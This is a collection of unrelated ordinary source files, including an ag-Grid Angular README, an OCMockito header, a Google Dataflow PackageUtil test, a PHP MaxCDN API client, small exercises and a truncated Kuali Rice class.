text:
![alt text](./github-banner.png "ag-Grid")

[![CDNJS](https://img.shields.io/cdnjs/v/ag-grid.svg)](https://cdnjs.com/libraries/ag-grid)
[![npm](https://img.shields.io/npm/dm/ag-grid-community.svg)](https://www.npmjs.com/package/ag-grid-community)
[![npm](https://img.shields.io/npm/dt/ag-grid-community.svg)](https://www.npmjs.com/package/ag-grid-community)

# ag-Grid Angular Component

ag-Grid is a fully-featured and highly customizable JavaScript data grid.
It delivers [outstanding performance](https://www.ag-grid.com/example.php?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github#/performance/1), has no third-party dependencies and [integrates smoothly with all major JavaScript frameworks](https://www.ag-grid.com/documentation/angular/getting-started/?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github).

Here's how our grid looks with multiple filters and grouping enabled:

![alt text](./github-grid-demo.jpg "ag-Grid demo")

Version 22.1.1 of `@ag-grid-community/angular` is the last version that supports Angular 5 and before.

Version 23 onwards of `@ag-grid-community/angular` will support Angular 6+ only.

## Features

In addition to the standard set of features you'd expect from any grid:

* Column Interactions (resize, reorder, and pin columns)
* Pagination
* Sorting
* Row Selection

Here are some of the features that make ag-Grid stand out:

* Grouping / Aggregation *
* Custom Filtering
* In-place Cell Editing
* Records Lazy Loading *
* Server-Side Records Operations *
* Live Stream Updates
* Hierarchical Data Support & Tree View *
* Customizable Appearance
* Customizable Cell Contents
* Excel-like Pivoting *
* State Persistence
* Keyboard Navigation
* Data Export to CSV
* Data Export to Excel *
* Row Reordering
* Copy / Paste
* Column Spanning
* Pinned Rows
* Full Width Rows

\* The features marked with an asterisk are available in the [Enterprise version](https://www.ag-grid.com/license-pricing.php?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github) only.

Check out the [developer documentation](https://www.ag-grid.com/documentation/?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github) for a complete list of features or visit [our official docs](https://www.ag-grid.com/features-overview/?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github) for tutorials and feature demos.

## Getting started

Use the setup instructions below or go through [a 5-minute-quickstart guide](https://www.ag-grid.com/documentation/angular/getting-started/?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github).

### Install dependencies

```sh
$ npm install --save @ag-grid-community/core @ag-grid-community/angular
```

### Import `AgGridModule` and add it to the `App` module

```ts
import { AgGridModule } from '@ag-grid-community/angular';

@NgModule({
	declarations: [AppComponent],
	imports: [BrowserModule, AgGridModule.withComponents([])],
	providers: [],
	bootstrap: [AppComponent]
})
export class AppModule {}
```

### Import styles in `styles.css`

```scss
@import "~@ag-grid-community/core/dist/styles/ag-grid.css";
@import "~@ag-grid-community/core/dist/styles/ag-theme-alpine.css";
```

### Set the grid's configuration in a parent component

```ts
export class AppComponent {
	title = 'app';

	columnDefs = [
		{ headerName: 'Make', field: 'make' },
		{ headerName: 'Model', field: 'model' },
		{ headerName: 'Price', field: 'price' }
	];

	rowData = [
		{ make: 'Toyota', model: 'Celica', price: 35000 },
		{ make: 'Ford', model: 'Mondeo', price: 32000 },
		{ make: 'Porsche', model: 'Boxter', price: 72000 }
	];
}
```

### Render the grid as the `@ag-grid-community/angular` child component

```html
<@ag-grid-community/angular
	style="width: 500px; height: 500px;"
	class="ag-theme-alpine"
	[rowData]="rowData"
	[columnDefs]="columnDefs">
</@ag-grid-community/angular>
```

## Issue Reporting

If you have found a bug, please report it in this repository's [issues](https://github.com/ag-grid/ag-grid/issues) section. If you're using the Enterprise version, please use the private ticketing system to do that. For more information on support please see our [dedicated support page](https://www.ag-grid.com/support.php?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github).

## Asking Questions

Look for similar problems on [StackOverflow](https://stackoverflow.com/questions/tagged/ag-grid) using the `ag-grid` tag. If nothing seems related, post a new message there. Please do not use GitHub issues to ask questions.

## Contributing

ag-Grid is developed by a team of co-located developers in London. If you want to join the team check out our [jobs board](https://www.ag-grid.com/ag-grid-jobs-board/?utm_source=@ag-grid-community/angular-readme&utm_medium=repository&utm_campaign=github) or send your application to info@ag-grid.com.

## License

This project is licensed under the MIT license. See the [LICENSE file](./LICENSE.txt) for more info.


text:
define([
	'./arrayJoin',
	'./dashUpload',
	'./grafanaPanel',
	'./grafanaSimplePanel',
	'./ngBlur',
	'./dashEditLink',
	'./ngModelOnBlur',
	'./tip',
	'./confirmClick',
	'./configModal',
	'./spectrumPicker',
	'./bootstrap-tagsinput',
	'./bodyClass',
	'./addGraphiteFunc',
	'./graphiteFuncEditor',
	'./templateParamSelector',
	'./graphiteSegment',
	'./grafanaVersionCheck',
	'./dropdown.typeahead',
	'./influxdbFuncEditor'
], function () {
});

redpajama_set_name: RedPajamaGithub


text:
//
//  OCMockito - MKTOngoingStubbing.h
//  Copyright 2013 Jonathan M. Reid. See LICENSE.txt
//
//  Created by: Jon Reid, http://qualitycoding.org/
//  Source: https://github.com/jonreid/OCMockito
//

#import <Foundation/Foundation.h>
#import "MKTPrimitiveArgumentMatching.h"

@class MKTInvocationContainer;

/**
    Methods to invoke on @c given(methodCall) to return stubbed values.
 */
@interface MKTOngoingStubbing : NSObject <MKTPrimitiveArgumentMatching>

- (id)initWithInvocationContainer:(MKTInvocationContainer *)invocationContainer;

/// Stubs given object as return value.
- (MKTOngoingStubbing *)willReturn:(id)object;

/// Stubs given @c BOOL as return value.
- (MKTOngoingStubbing *)willReturnBool:(BOOL)value;

/// Stubs given @c char as return value.
- (MKTOngoingStubbing *)willReturnChar:(char)value;

/// Stubs given @c int as return value.
- (MKTOngoingStubbing *)willReturnInt:(int)value;

/// Stubs given @c short as return value.
- (MKTOngoingStubbing *)willReturnShort:(short)value;

/// Stubs given @c long as return value.
- (MKTOngoingStubbing *)willReturnLong:(long)value;

/// Stubs given long long as return value.
- (MKTOngoingStubbing *)willReturnLongLong:(long long)value;

/// Stubs given @c NSInteger as return value.
- (MKTOngoingStubbing *)willReturnInteger:(NSInteger)value;

/// Stubs given unsigned char as return value.
- (MKTOngoingStubbing *)willReturnUnsignedChar:(unsigned char)value;

/// Stubs given unsigned int as return value.
- (MKTOngoingStubbing *)willReturnUnsignedInt:(unsigned int)value;

/// Stubs given unsigned short as return value.
- (MKTOngoingStubbing *)willReturnUnsignedShort:(unsigned short)value;

/// Stubs given unsigned long as return value.
- (MKTOngoingStubbing *)willReturnUnsignedLong:(unsigned long)value;

/// Stubs given unsigned long long as return value.
- (MKTOngoingStubbing *)willReturnUnsignedLongLong:(unsigned long long)value;

/// Stubs given @c NSUInteger as return value.
- (MKTOngoingStubbing *)willReturnUnsignedInteger:(NSUInteger)value;

/// Stubs given @c float as return value.
- (MKTOngoingStubbing *)willReturnFloat:(float)value;

/// Stubs given @c double as return value.
- (MKTOngoingStubbing *)willReturnDouble:(double)value;

@end


text:
<!doctype html>

    <title>Spotify Stats</title>
    <link rel="stylesheet" href="app.css">
    <meta content='width=device-width, initial-scale=1' name='viewport' />

Log in with Spotify

        <button class="btn btn-default" id="obtain-new-token" style="display: none;">Obtain new token using the refresh token</button>

{{ user.id }}

Your Top Artists

                #{{ $index + 1 }}

{{ artist.name }}

Your Top Tracks

                #{{ $index + 1 }}

                    {{ track.name }}

                    {{ track.artists[0].name }}


text:
'''
Copyright (c) 2012 Nathan Osman

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
'''

from sys import exit
from twisted.internet import reactor

from factory import StackIRCFactory
from config import StackIRCConfig

class StackIRCBot:

    def __init__(self):
        self.factory = StackIRCFactory()

    def run(self):
        # Ensure the settings are loaded before proceeding.
        if not StackIRCConfig.load():
            print 'The file "%s" does not exist. StackIRC will now create the file and exit. Please open the file in a text editor, adjust the configuration values, and start StackIRC again.' % StackIRCConfig.cfile
            StackIRCConfig.create()
            exit()
        # Now connect and start the client.
        print 'Connecting to %s:%s...' % (StackIRCConfig.server, StackIRCConfig.port,)
        reactor.connectTCP(StackIRCConfig.server, StackIRCConfig.port, self.factory)
        reactor.run()


text:
'''

This is where the core functionality of checking URLs and deciding if they
match the specified conditions live.
'''
import logging
import time
import re

import requests

logger = logging.getLogger(__name__)

class TMWCoreException(Exception):
    """Generic TMW exception"""
    pass

# types of checks we can do for events
event_types = [
    'status_code',
    'string_match',
    'regex_match',
]

def check_until(url, check_type, check_value, frequency, num_checks, index = None):
    """Check url until the specified condition is met"""

    checks_done = 0
    results = False

    while (checks_done < num_checks or num_checks == 0) and not results:

        checks_done += 1
        results = check_once(url, check_type, check_value)

        if results or checks_done == num_checks:
            return (results, checks_done, index)

        time.sleep(frequency)

    return (results, checks_done, index)

def check_once(url, check_type, check_value):
    """Check a url once"""

    if check_type == 'status_code':
        try:
            check_value = int(check_value)
        except ValueError:
            raise TMWCoreException("Status codes must be integers")

        return _status_check(url, check_value)
    elif check_type == 'string_match':
        return _string_check(url, check_value)
    if check_type == 'regex_match':
        return _regex_check(url, check_value)
    else:
        raise TMWCoreException('Invalid check type')

def _status_check(url, expected_code):
    """Check a url for the expected_code
    return True/False"""

    value = _check_code(
            _get_url(url),
            expected_code
        )
    logger.debug('value is %s', value)
    return value

def _string_check(url, match_string):
    """Check a url for the match_string
    return True/False"""

    return _check_contains(
            _get_url(url),
            match_string
        )

def _regex_check(url, regex):
    """Checks a url to see if it matches the regex
    return True/False"""
    return _check_matches(
            _get_url(url),
            regex
        )

def _get_url(url):
    """Get a url
    return the response object"""
    return requests.get(url)

def _check_code(response, expected_code):
    """Check the response code from a response object
    return True/False
    """
    return response.status_code == expected_code

def _check_contains(response, match_string):
    """Check the response body for the match_string
    return True/False
    """
    return response.text.find(match_string) > 0

def _check_matches(response, regex):
    """Check to see if the response body matches a regex
    return True/False
    """
    results = re.search(regex, response.text)
    return results != None


text:
echo 'start'
sudo  /opt/zookeeper/bin/zkServer.sh start &
echo 'redis'
sudo redis-server /opt/redis/redis.conf &
echo 'started'


text:
package com.google.cloud.dataflow.sdk.util;

import static org.hamcrest.collection.IsIterableContainingInAnyOrder.containsInAnyOrder;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertThat;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyString;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
import static org.mockito.Mockito.when;

import com.google.api.services.dataflow.model.DataflowPackage;
import com.google.cloud.dataflow.sdk.testing.FastNanoClockAndSleeper;
import com.google.cloud.dataflow.sdk.util.gcsfs.GcsPath;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.Iterables;
import com.google.common.io.Files;
import com.google.common.io.LineReader;

import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;

import java.io.File;
import java.io.IOException;
import java.nio.channels.Channels;
import java.nio.channels.Pipe;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;

/** Tests for PackageUtil. */
@RunWith(JUnit4.class)
public class PackageUtilTest {
  @Rule
  public TemporaryFolder tmpFolder = new TemporaryFolder();

  @Rule
  public FastNanoClockAndSleeper fastNanoClockAndSleeper = new FastNanoClockAndSleeper();

  @Mock
  GcsUtil mockGcsUtil;

  @Before
  public void setUp() {
    MockitoAnnotations.initMocks(this);
  }

  @Test
  public void testPackageNamingWithFileHavingExtension() throws Exception {
    File tmpFile = tmpFolder.newFile("file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");

    DataflowPackage target = PackageUtil.createPackage(tmpFile.getAbsolutePath(), gcsStaging, null);

    assertEquals("file-SAzzqSB2zmoIgNHC9A2G0A.txt", target.getName());
    assertEquals("storage.googleapis.com/somebucket/base/path/file-SAzzqSB2zmoIgNHC9A2G0A.txt",
        target.getLocation());
  }

  @Test
  public void testPackageNamingWithFileMissingExtension() throws Exception {
    File tmpFile = tmpFolder.newFile("file");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");

    DataflowPackage target = PackageUtil.createPackage(tmpFile.getAbsolutePath(), gcsStaging, null);

    assertEquals("file-SAzzqSB2zmoIgNHC9A2G0A", target.getName());
    assertEquals("storage.googleapis.com/somebucket/base/path/file-SAzzqSB2zmoIgNHC9A2G0A",
        target.getLocation());
  }

  @Test
  public void testPackageNamingWithDirectory() throws Exception {
    File tmpDirectory = tmpFolder.newFolder("folder");
    File tmpFile = tmpFolder.newFile("folder/file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");

    DataflowPackage target =
        PackageUtil.createPackage(tmpDirectory.getAbsolutePath(), gcsStaging, null);

    assertEquals("folder-9MHI5fxducQ06t3IG9MC-g.zip", target.getName());
    assertEquals("storage.googleapis.com/somebucket/base/path/folder-9MHI5fxducQ06t3IG9MC-g.zip",
                 target.getLocation());
  }

  @Test
  public void testPackageNamingWithFilesHavingSameContentsButDifferentNames() throws Exception {
    tmpFolder.newFolder("folder1");
    File tmpDirectory1 = tmpFolder.newFolder("folder1/folderA");
    File tmpFile1 = tmpFolder.newFile("folder1/folderA/uniqueName1");
    Files.write("This is a test!", tmpFile1, StandardCharsets.UTF_8);

    tmpFolder.newFolder("folder2");
    File tmpDirectory2 = tmpFolder.newFolder("folder2/folderA");
    File tmpFile2 = tmpFolder.newFile("folder2/folderA/uniqueName2");
    Files.write("This is a test!", tmpFile2, StandardCharsets.UTF_8);

    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");

    DataflowPackage target1 =
        PackageUtil.createPackage(tmpDirectory1.getAbsolutePath(), gcsStaging, null);
    DataflowPackage target2 =
        PackageUtil.createPackage(tmpDirectory2.getAbsolutePath(), gcsStaging, null);

    assertFalse(target1.getName().equals(target2.getName()));
    assertFalse(target1.getLocation().equals(target2.getLocation()));
  }

  @Test
  public void testPackageNamingWithDirectoriesHavingSameContentsButDifferentNames()
      throws Exception {
    tmpFolder.newFolder("folder1");
    File tmpDirectory1 = tmpFolder.newFolder("folder1/folderA");
    tmpFolder.newFolder("folder1/folderA/uniqueName1");

    tmpFolder.newFolder("folder2");
    File tmpDirectory2 = tmpFolder.newFolder("folder2/folderA");
    tmpFolder.newFolder("folder2/folderA/uniqueName2");

    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");

    DataflowPackage target1 =
        PackageUtil.createPackage(tmpDirectory1.getAbsolutePath(), gcsStaging, null);
    DataflowPackage target2 =
        PackageUtil.createPackage(tmpDirectory2.getAbsolutePath(), gcsStaging, null);

    assertFalse(target1.getName().equals(target2.getName()));
    assertFalse(target1.getLocation().equals(target2.getLocation()));
  }

  @Test
  public void testPackageUploadWithFileSucceeds() throws Exception {
    Pipe pipe = Pipe.open();
    File tmpFile = tmpFolder.newFile("file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(-1L);
    when(mockGcsUtil.create(any(GcsPath.class), anyString())).thenReturn(pipe.sink());

    List<DataflowPackage> targets = PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
        ImmutableList.of(tmpFile.getAbsolutePath()), gcsStaging);
    DataflowPackage target = Iterables.getOnlyElement(targets);

    verify(mockGcsUtil).fileSize(any(GcsPath.class));
    verify(mockGcsUtil).create(any(GcsPath.class), anyString());
    verifyNoMoreInteractions(mockGcsUtil);

    assertEquals("file-SAzzqSB2zmoIgNHC9A2G0A.txt", target.getName());
    assertEquals("storage.googleapis.com/somebucket/base/path/file-SAzzqSB2zmoIgNHC9A2G0A.txt",
        target.getLocation());
    assertEquals("This is a test!",
        new LineReader(Channels.newReader(pipe.source(), "UTF-8")).readLine());
  }

  @Test
  public void testPackageUploadWithDirectorySucceeds() throws Exception {
    Pipe pipe = Pipe.open();
    File tmpDirectory = tmpFolder.newFolder("folder");
    tmpFolder.newFolder("folder/empty_directory");
    tmpFolder.newFolder("folder/directory");
    File tmpFile1 = tmpFolder.newFile("folder/file.txt");
    File tmpFile2 = tmpFolder.newFile("folder/directory/file.txt");
    Files.write("This is a test!", tmpFile1, StandardCharsets.UTF_8);
    Files.write("This is also a test!", tmpFile2, StandardCharsets.UTF_8);

    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(-1L);
    when(mockGcsUtil.create(any(GcsPath.class), anyString())).thenReturn(pipe.sink());

    PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
        ImmutableList.of(tmpDirectory.getAbsolutePath()), gcsStaging);

    verify(mockGcsUtil).fileSize(any(GcsPath.class));
    verify(mockGcsUtil).create(any(GcsPath.class), anyString());
    verifyNoMoreInteractions(mockGcsUtil);

    ZipInputStream inputStream = new ZipInputStream(Channels.newInputStream(pipe.source()));
    List<String> zipEntryNames = new ArrayList<>();
    for (ZipEntry entry = inputStream.getNextEntry(); entry != null;
        entry = inputStream.getNextEntry()) {
      zipEntryNames.add(entry.getName());
    }

    assertThat(zipEntryNames,
        containsInAnyOrder("directory/file.txt", "empty_directory/", "file.txt"));
  }

  @Test
  public void testPackageUploadWithEmptyDirectorySucceeds() throws Exception {
    Pipe pipe = Pipe.open();
    File tmpDirectory = tmpFolder.newFolder("folder");

    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(-1L);
    when(mockGcsUtil.create(any(GcsPath.class), anyString())).thenReturn(pipe.sink());

    List<DataflowPackage> targets = PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
        ImmutableList.of(tmpDirectory.getAbsolutePath()), gcsStaging);
    DataflowPackage target = Iterables.getOnlyElement(targets);

    verify(mockGcsUtil).fileSize(any(GcsPath.class));
    verify(mockGcsUtil).create(any(GcsPath.class), anyString());
    verifyNoMoreInteractions(mockGcsUtil);

    assertEquals("folder-wstW9MW_ZW-soJhufroDCA.zip", target.getName());
    assertEquals("storage.googleapis.com/somebucket/base/path/folder-wstW9MW_ZW-soJhufroDCA.zip",
        target.getLocation());
    assertNull(new ZipInputStream(Channels.newInputStream(pipe.source())).getNextEntry());
  }

  @Test(expected = RuntimeException.class)
  public void testPackageUploadFailsWhenIOExceptionThrown() throws Exception {
    File tmpFile = tmpFolder.newFile("file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(-1L);
    when(mockGcsUtil.create(any(GcsPath.class), anyString()))
        .thenThrow(new IOException("Fake Exception: Upload error"));

    try {
      PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
          ImmutableList.of(tmpFile.getAbsolutePath()), gcsStaging, fastNanoClockAndSleeper);
    } finally {
      verify(mockGcsUtil).fileSize(any(GcsPath.class));
      verify(mockGcsUtil, times(5)).create(any(GcsPath.class), anyString());
      verifyNoMoreInteractions(mockGcsUtil);
    }
  }

  @Test
  public void testPackageUploadEventuallySucceeds() throws Exception {
    Pipe pipe = Pipe.open();
    File tmpFile = tmpFolder.newFile("file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(-1L);
    when(mockGcsUtil.create(any(GcsPath.class), anyString()))
        .thenThrow(new IOException("Fake Exception: 410 Gone")) // First attempt fails
        .thenReturn(pipe.sink());                               // second attempt succeeds

    try {
      PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
                                              ImmutableList.of(tmpFile.getAbsolutePath()),
                                              gcsStaging,
                                              fastNanoClockAndSleeper);
    } finally {
      verify(mockGcsUtil).fileSize(any(GcsPath.class));
      verify(mockGcsUtil, times(2)).create(any(GcsPath.class), anyString());
      verifyNoMoreInteractions(mockGcsUtil);
    }
  }

  @Test
  public void testPackageUploadIsSkippedWhenFileAlreadyExists() throws Exception {
    File tmpFile = tmpFolder.newFile("file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(tmpFile.length());

    PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
        ImmutableList.of(tmpFile.getAbsolutePath()), gcsStaging);

    verify(mockGcsUtil).fileSize(any(GcsPath.class));
    verifyNoMoreInteractions(mockGcsUtil);
  }

  @Test
  public void testPackageUploadIsNotSkippedWhenSizesAreDifferent() throws Exception {
    Pipe pipe = Pipe.open();
    File tmpDirectory = tmpFolder.newFolder("folder");
    tmpFolder.newFolder("folder/empty_directory");
    tmpFolder.newFolder("folder/directory");
    File tmpFile1 = tmpFolder.newFile("folder/file.txt");
    File tmpFile2 = tmpFolder.newFile("folder/directory/file.txt");
    Files.write("This is a test!", tmpFile1, StandardCharsets.UTF_8);
    Files.write("This is also a test!", tmpFile2, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(Long.MAX_VALUE);
    when(mockGcsUtil.create(any(GcsPath.class), anyString())).thenReturn(pipe.sink());

    PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
        ImmutableList.of(tmpDirectory.getAbsolutePath()), gcsStaging);

    verify(mockGcsUtil).fileSize(any(GcsPath.class));
    verify(mockGcsUtil).create(any(GcsPath.class), anyString());
    verifyNoMoreInteractions(mockGcsUtil);
  }

  @Test
  public void testPackageUploadWithExplicitPackageName() throws Exception {
    Pipe pipe = Pipe.open();
    File tmpFile = tmpFolder.newFile("file.txt");
    Files.write("This is a test!", tmpFile, StandardCharsets.UTF_8);
    GcsPath gcsStaging = GcsPath.fromComponents("somebucket", "base/path");
    final String overriddenName = "alias.txt";

    when(mockGcsUtil.fileSize(any(GcsPath.class))).thenReturn(-1L);
    when(mockGcsUtil.create(any(GcsPath.class), anyString())).thenReturn(pipe.sink());

    List<DataflowPackage> targets = PackageUtil.stageClasspathElementsToGcs(mockGcsUtil,
        ImmutableList.of(overriddenName + "=" + tmpFile.getAbsolutePath()), gcsStaging);
    DataflowPackage target = Iterables.getOnlyElement(targets);

    verify(mockGcsUtil).fileSize(any(GcsPath.class));
    verify(mockGcsUtil).create(any(GcsPath.class), anyString());
    verifyNoMoreInteractions(mockGcsUtil);

    assertEquals(overriddenName, target.getName());
    assertEquals("storage.googleapis.com/somebucket/base/path/file-SAzzqSB2zmoIgNHC9A2G0A.txt",
        target.getLocation());
  }

}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace FoldAndSum
{
    class FoldAndSum
    {
        static void Main(string[] args)
        {
            int[] numbers = Console.ReadLine().Split().Select(int.Parse).ToArray();
            int k = numbers.Length / 4;
            int[] leftPart = numbers.Take(k).Reverse().ToArray();
            int[] rightPart = numbers.Reverse().Take(k).ToArray();
            int[] topRow = leftPart.Concat(rightPart).ToArray();
            int[] bottomRow = numbers.Skip(k).Take(2 * k).ToArray();

            //var sumArr = topRow.Select((num, index) => num + bottomRow[index]);
            var sumArr = topRow.Zip(bottomRow, (a, b) => (a + b));
            Console.WriteLine(string.Join(" ", sumArr));
        }
    }
}


text:
package org.gradle.execution;

import org.gradle.api.internal.GradleInternal;

/**
 * Selects and executes the tasks requested for a build.
 */
public interface BuildExecuter {

    /**
     * Selects the tasks to execute, if any. This method is called before any other methods on this executer.
     */
    void select(GradleInternal gradle);

    /**
     * Executes the selected tasks. Called after {@link #select(org.gradle.api.internal.GradleInternal)}.
     */
    void execute();
}


text:
package com.brainacad.module_2.LabWork_2_15;

/**
 * Created by a.zemlyanskiy on 05.09.2016.
 * Open project called  TestMyGenerator.
 * dd to class MyNumGenerator new method "generateDistinct ()" which return new collection (of Set type) with numOfElm length and filled with distinct (with no duplicate values) numbers (which generated randomly) from 0 to  maxNumb.
 * Create a class Main with a main( ) method.
 * Add to method main() code to create instance of MyNumGenerator (for example with 5,64 parameters) and print result of invoking generateDistinct () method to console.
 * Execute the program.
 * The program output must be like next example:
 * [5,61,47,2,17]
 */
public class Lab_Work_2_15_5 {
}


text:
import java.util.List;

import static java.util.Arrays.asList;

public class Main {
  public static boolean test(List<List<String>> list) {
    return list.stream().filter(x -> x != null).flatMap(x -> x.stream()).allMat<caret>ch(x -> x.startsWith("a"));
  }

  public static void main(String[] args) {
    System.out.println(test(asList(asList(), asList("a"), asList("b", "c"))));
    System.out.println(test(asList(asList(), asList("d"), asList("b", "c"))));
  }
}


text:
<?php
namespace Davidsneal\MaxCDN;

use Davidsneal\MaxCDN\OAuth\OAuthUtil;
use Davidsneal\MaxCDN\OAuth\OAuthConsumer;
use Davidsneal\MaxCDN\OAuth\OAuthRequest;
use Davidsneal\MaxCDN\OAuth\OAuthSignatureMethod_HMAC_SHA1;

class MaxCDN {

	public $alias;
	public $key;
	public $secret;
	public $MaxCDNrws_url = 'https://rws.maxcdn.com';

    private $consumer;

	public function __construct() {
		$this->alias  = env('MAXCDN_ALIAS');
		$this->key    = env('MAXCDN_KEY');
		$this->secret = env('MAXCDN_SECRET');

		$this->consumer = new OAuthConsumer($this->key, $this->secret, NULL);
	}

	private function execute($selected_call, $method_type, $params) {
		// the endpoint for your request
		$endpoint = "$this->MaxCDNrws_url/$this->alias$selected_call";

		//parse endpoint before creating OAuth request
		$parsed = parse_url($endpoint);
		if (array_key_exists("parsed", $parsed))
		{
		    parse_str($parsed['query'], $params);
		}

		//generate a request from your consumer
		$req_req = OAuthRequest::from_consumer_and_token($this->consumer, NULL, $method_type, $endpoint, $params);

		//sign your OAuth request using hmac_sha1
		$sig_method = new OAuthSignatureMethod_HMAC_SHA1();
		$req_req->sign_request($sig_method, $this->consumer, NULL);

		// create curl resource
		$ch = curl_init();

		// set url
		curl_setopt($ch, CURLOPT_URL, $req_req);

		//return the transfer as a string
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER , TRUE);

		// set curl timeout
		curl_setopt($ch, CURLOPT_TIMEOUT, 60);

		// set curl custom request type if not standard
		if ($method_type != "GET" && $method_type != "POST") {
		    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method_type);
		}

		if ($method_type == "POST" || $method_type == "PUT" || $method_type == "DELETE") {
		    $query_str = OAuthUtil::build_http_query($params);
		    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:', 'Content-Length: ' . strlen($query_str)));
		    curl_setopt($ch, CURLOPT_POSTFIELDS,  $query_str);
		}

		// retrieve headers
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLINFO_HEADER_OUT, 1);

		//set user agent
		curl_setopt($ch, CURLOPT_USERAGENT, 'PHP MaxCDN API Client');

		// make call
		$result = curl_exec($ch);
		$headers = curl_getinfo($ch);
		$curl_error = curl_error($ch);

		// close curl resource to free up system resources
		curl_close($ch);

		// $json_output contains the output string
		$json_output = substr($result, $headers['header_size']);

		// catch errors
		if(!empty($curl_error) || empty($json_output)) {
			throw new \MaxCDN\RWSException("CURL ERROR: $curl_error, Output: $json_output", $headers['http_code'], null, $headers);
		}

		return $json_output;
	}

	public function get($selected_call, $params = array()){

		return $this->execute($selected_call, 'GET', $params);
	}

	public function post($selected_call, $params = array()){
		return $this->execute($selected_call, 'POST', $params);
	}

	public function put($selected_call, $params = array()){
		return $this->execute($selected_call, 'PUT', $params);
	}

	public function delete($selected_call, $params = array()){
		return $this->execute($selected_call, 'DELETE', $params);
	}

}


text:
package org.kuali.rice.kew.impl.extension;

import org.apache.commons.lang.StringUtils;
import org.kuali.rice.core.api.exception.RiceIllegalArgumentException;
import org.kuali.rice.kew.api.extension.ExtensionDefinition;
import org.kuali.rice.kew.api.extension.ExtensionRepositoryService;
import org.kuali.rice.kew.rule.bo.RuleAttribute;
import org.kuali.rice.kew.rule.service.RuleAttributeService;

/**
 * Reference implementation of the {@code ExtensionRepositoryService}.  This implementation
 * essentially sits on top of the legacy "RuleAttribute" service.
 *
 * @author Kuali Rice Team (rice.collab@kuali.org)
 */
public class ExtensionRepositoryServiceImpl implements ExtensionRepositoryService {

    private RuleAttributeService ruleAttributeService;

    @Override
